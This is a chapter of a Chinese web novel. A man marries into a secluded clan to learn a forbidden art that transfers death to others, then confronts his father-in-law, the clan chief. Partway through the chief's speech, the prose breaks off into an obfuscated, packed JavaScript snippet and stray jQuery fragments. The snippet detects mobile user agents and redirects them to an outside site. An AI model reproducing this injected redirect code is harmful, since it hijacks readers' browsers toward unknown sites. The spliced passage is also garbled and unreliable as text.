94. 真相(2)

    谢雪绯成日在谢御恒的跟前呜呜哭,逼得谢御恒不得不同意他们的婚事。


    经过两个月时间的相处,谢御恒对顾千城的印象其实也不错。他沉默踏实,性情坚韧,没有太多的花言巧语与活络心思,并且很珍爱谢雪绯,这一切优点都值得他的绯儿去托付终身。


    更何况,谢雪绯对顾千城也是爱到深处,非他不可。谢雪绯自小没了娘亲,一路成长过程中受过许多苦楚和委屈。身为父亲,谢御恒的心中有愧疚也有怜惜,事事都将绯儿的幸福摆在第一位,无论如何,他都没有理由不同意他们的婚事。


    新婚夜晚,满山谷都挂上了喜庆的红灯笼,衬着莹白的大雪,熠熠光彩流转,如同一道晶莹的血河暗自流淌。


    夜里,一身红衣的顾千城挑了谢雪绯的红盖头,与她喝过合卺酒。一行人笑过闹过,喜娘也领了赏钱,热热闹闹地将酒樽带了下去。木门从外头阖上,安静的房间里唯有红烛静静地燃烧。


    旖旎柔婉的烛光中,谢雪绯抬起一张精心描摹的脸儿来,眉眼间含羞带怯:“夫君?”


    顾千城应了一声,挨着她在榻边坐下,温声道:“累吗?”


    “有点儿,这头面真重。”谢雪绯抬手摘了沉重的发冠,后脑处发髻的簪钗却是看不到,手指摸索了半天也摘不下来。


    顾千城见状,伸手替她将那些首饰都拆下来,道:“今日来的人这样多,怎生不见你那位兄长?”


    “他住在很远的地方呢,而且我那个小侄子年纪太小了,不好出远门的。”谢雪绯柔声道,“可惜啦,你我今日成婚,他却都没有机会见见自己的妹夫。”


    顾千城垂眸轻笑,浓密的眼睫掩去眸中一丝防备与警惕。


    “不可惜。他住在何处?改日我们登门拜访,好不好?”


    谢雪绯顿了一下,没说,只笑道:“我也记不得了。没关系,等明年开春时他们会一块儿来的。”


    顾千城若有所思:“嗯,好。”


    烛光暧昧,他的侧脸轮廓被流光描摹,眉骨、鼻梁线条流畅,锋利如刀。


    “不说这个啦,”她的脸颊染上绯红,一双殷润的眼眸望住他,“夫君,新婚之夜,你确定要说这些吗?”


    顾千城满腹心事,此刻闻言连忙回神,眸光也变得柔和。他脸上带笑,垂首,目光落在她红润微弯的唇瓣,极温柔地吻了下去。


    -


    转玄三术:伤、病、亡。


    顾名思义,施术者可将中术者的疾病、伤痛、死亡全部转移到其他人的身上,而中术者因此痊愈,完好如初,甚至免于死亡。


    这是一种完全损人利己的术法。


    顾千城天资绝伦,他深谙藏拙的道理,本该半月就学会的转玄三术,他为了不引起谢御恒的疑心,不叫他猜忌自己的出身,愣是拖拖沓沓学了一月半,才学会前两式。


    学成的那一晚,大雪纷飞。


    在谢氏族人的眼中,大雪节气似乎是个值得庆贺的好日子。天黑时分,山谷中近百户人家的房檐就挂上了喜庆热闹的彩灯,灯烧如昼。有小孩子提着各种样式的彩灯追逐笑闹,有仙鹤,白鹭,凤凰,白鹇,满地流光。


    正堂中,顾千城端坐在圈椅中,眸冷如冰。


    谢御恒笑呵呵地从橱柜里取出一坛好酒,道:“这是绯儿三岁那年我亲手所酿,距今已有十五个年头。今日大雪,是个好日子,我们爷儿俩今晚就喝这一坛,如何?”


    谢御恒已经完全放下了对顾千城的戒心,毕竟顾千城虽沉默寡言,却实诚沉稳,对待谢雪绯也是疼爱有加,是邻里交口称赞的好郎君。


    他的儿子谢拱辰为了一位姑娘远走他乡,很少再回冽雪山谷,只留下他和绯儿在此生活。绯儿从小性子活泼爱闹,天天吵着要去外面找阿兄嫂嫂,找小侄子玩儿。山谷外面的生活很是艰险,他不放心,也早已为此愁得两鬓斑白。如今有顾千城在,绯儿的心也慢慢稳下来,倒是有了踏实过日子的好兆头。


    思及至此,谢御恒对顾千城更添了几分满意。


    可是今晚的顾千城却显出几分异样。


    谢御恒拍开酒坛,不知是不是自己多想了。


    他往杯子里倒酒,顾千城的目光冷冷落在酒杯,淡声道:“族长。”


    “叫错了。”谢御恒将酒坛搁在桌上,纠正道,“都成婚这么久的人了,连个称呼都改不过来么?喝酒。”


    “族长,多谢你教我转玄三术。”


    顾千城不为所动,只抬眼与他对视。他眉目冷厉,明暖的烛光也照不清他眼中的情绪。


    堂中一瞬寂静,隐约可以听见外头街巷的欢声笑语,以及山谷深处的鹤唳声声。


    “你这是什么意思?”


    谢御恒脸上笑意也敛去,眼中显露出凶狠的光芒:“你要对绯儿始乱终弃?”


    顾千城不答,只道:“族长肯放我走吗?”


    谢御恒拍桌而起:“你说呢?!”


    “看来是不肯了。”顾千城声音很淡,他抽刀出鞘,雪亮刀光映在他眉间,“族长,我也不想杀你的,是你不肯饶我。”


    谢御恒咬牙怒目,手指用力,“啪!”的一声爆响,掌中酒杯竟被他生生攥碎,酒水碎瓷飞溅!


    他从牙缝中挤出一句话:“你来到这里,就是为了转玄三术?”


    顾千城淡声:“是。”


    谢御恒又道:“娶绯儿为妻,也是为了转玄三术?”


    顾千城淡声:“是。”


    谢御恒压低声音:“我最后问你一遍,你确定要这么做?”


    顾千城狠狠闭了一下眼:“……是。”


    谢御恒手攥成拳,额角青筋直跳。


    他活了这么大年纪,见识过无数,也经历过无数。可从没有过像今天这样,恼怒、悲愤得心脏都快从喉咙里跳出来。


    他忍着剧烈的耳鸣,冷声道:“顾千城,为什么一开始不表明自己的意图,而非要采用这种……方式?”


    顾千城低声:“转玄三术从不外传,若非采取这种手段,我学不到。”


    “那你讲明实情!或许我会出手救治!”


    “你也说了是或许。”顾千城淡笑一声,“你当我来此是毫无准备吗?我寻访了多久才来到这里,我查了多久的古籍才翻到关于你们的记录,谢氏一族从不出冽雪山谷,也绝不会对外人使用转玄三术。”


    “而且,这种术法的使用是有代价的。我想要救回一人,就必须杀掉另一个人。”


    “若你知道我想让你救一人的同时,再杀一人,你可还会出手?”


    谢御恒咬牙道:“可绯儿是无辜的。”


    顾千城叹息道:“我知道,所以我会善待她。”


    谢御恒僵住,片刻后,忽然大笑起来。


    笑过之后,他看着顾千城,仿佛看见了什么难以理解的东西,摇头道:“你不了解绯儿。她看着娇气,实则性如钢铁,她不会跟你走的。”


    顾千城懒得和他再争辩,只觉眼前这老头子迂腐而愚蠢,难怪能养出谢雪绯这样窝囊又无知的笨姑娘。


    顾千城低声开口,很是笃定:“她爱我,我知道。”


    谢御恒被他气得心脏疼:“我女儿不会爱一个坏事做尽的死人。”


    话音落下,他抬手提起长刀:“顾千城,若早知你是这般别有用心之人,当初就该任你冻死在山谷之外!好,你既如此狼心狗肺,不择手段,我也不留你。不过与其让绯儿知道你的利用与算计而伤心欲绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902946|154043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,不如老夫亲手杀了你,还能保你个好名声。”


    顾千城被骂得脸色青白交错,却也不冲动行事,只抬眼道:“用不着族长如此替我考虑。”


    “因为今日能走出这扇门的人,一定是我。”


    -


    “慢慢调养,天气越来越冷了,千万不要冻着。”


    “还有啊,你身子本来就弱,平日里一定注意不要有太激烈的情绪起伏。尽量不要伤心,动怒更是不行,保持心情畅快。”


    谢雪绯乖巧笑道:“好。多谢长乐大夫,我记下啦。”


    谢长乐很轻柔地摸了摸谢雪绯的腹部,亲昵道:“真没想到啊,我们绯儿自己都刚刚长大呢,竟然都要做娘亲了。”


    谢雪绯脆声:“等孩子出生了,认你做干娘,可好?”


    谢长乐闻言一怔,想了想那画面,笑起来:“说起来,你小时候那样顽皮,这孩子说不准和你一样胡闹呢。哎呀,那我这个干娘可要头疼了。不过,更头疼的该是顾千城吧,他性子稳重,或许都难以想象你们娘俩闹腾的模样……”


    谢雪绯听她越说越不着边际,脸都红了。


    谢长乐将脉枕收好,故意逗她:“反正无论怎样,顾千城总是会好好照顾你们的。刚才也不知是谁在那里讲呢,说她的夫君虽然沉默寡言,其实心思细腻得很呢!啊呀,你不要闹我!”


    说话间两人又笑起来,谢雪绯抬眼见天色黑了,起身要告辞。谢长乐担心路上雪滑,她走得不稳当,便叫谢长生撑着伞送她回去。


    有清悠的笛声传来。谢长乐笑着喊道:“长生!快别吹你那破笛子了,来送你绯儿姐姐回家。”


    谢长生将玉笛收好,裹着大氅撑伞过来。


    他的小脸陷在雪白的毛领中,露出一个乖巧的笑容:“绯儿姐姐,我们走吧。”


    谢雪绯讶异道:“长生的脸色看起来不太好呀。”


    谢长乐闻言也过来,一看吓了一跳:“身体不舒服怎么也不说?”


    说罢,赶紧叫他回屋里暖炉旁坐着,谢长乐亲自撑伞,将谢雪绯送回了家。


    这一路热闹欢笑自是不必说。两人笑盈盈地走到了院门口,谢雪绯邀请她:“不进去坐一坐吗?”


    “不啦,这样天大的好消息,你还是快去和他们分享吧。”谢长乐的眉目间有愁容,“我要回去看看长生,这孩子身体越来越弱,也不知道是怎么回事。我现在很是担心他……如果实在没办法,我就想干脆求族长用那术法……”


    “长乐姐姐!不许胡说,就算他这病真的无法可医,你也不许拿自己的性命开玩笑。”谢雪绯拉着她的手,“你这一生是为自己活的,不是为了其他任何人,明白吗?”


    谢长乐垂着眼纠结很久,眉心故作舒展了些,勉强笑道:“竟还叫你安慰起我来了。”


    谢雪绯温声道:“不要多想了,姐姐。长生的体弱症纵使我们治不好,天大地大,难道就无人能治好吗?千城认识的人多,等到来年开春,我们一起去山谷外寻名医,一定会有办法的。”


    可是寒冬漫漫,谢长生能否撑持到明年春天?


    “……好,好。”谢长乐勉强笑了笑,“绯儿,你快回去,不要叫族长和顾公子久等。”


    谢雪绯送别了谢长乐,转身走近院子里,心情雀跃地高声道:“我回来啦!”


    一片昏暗、寂静。


    无人应答。


    若是往常时刻,此时该有人笑着撑伞来接她,问她去了哪里,做了什么,开不开心?这个人要么是爹爹,要么是千城。


    可是今夜院里寂静得却有些异常,正堂中也并未燃灯。


    今天可是大雪天呀,不知爹爹又去什么地方了。


    千城呢?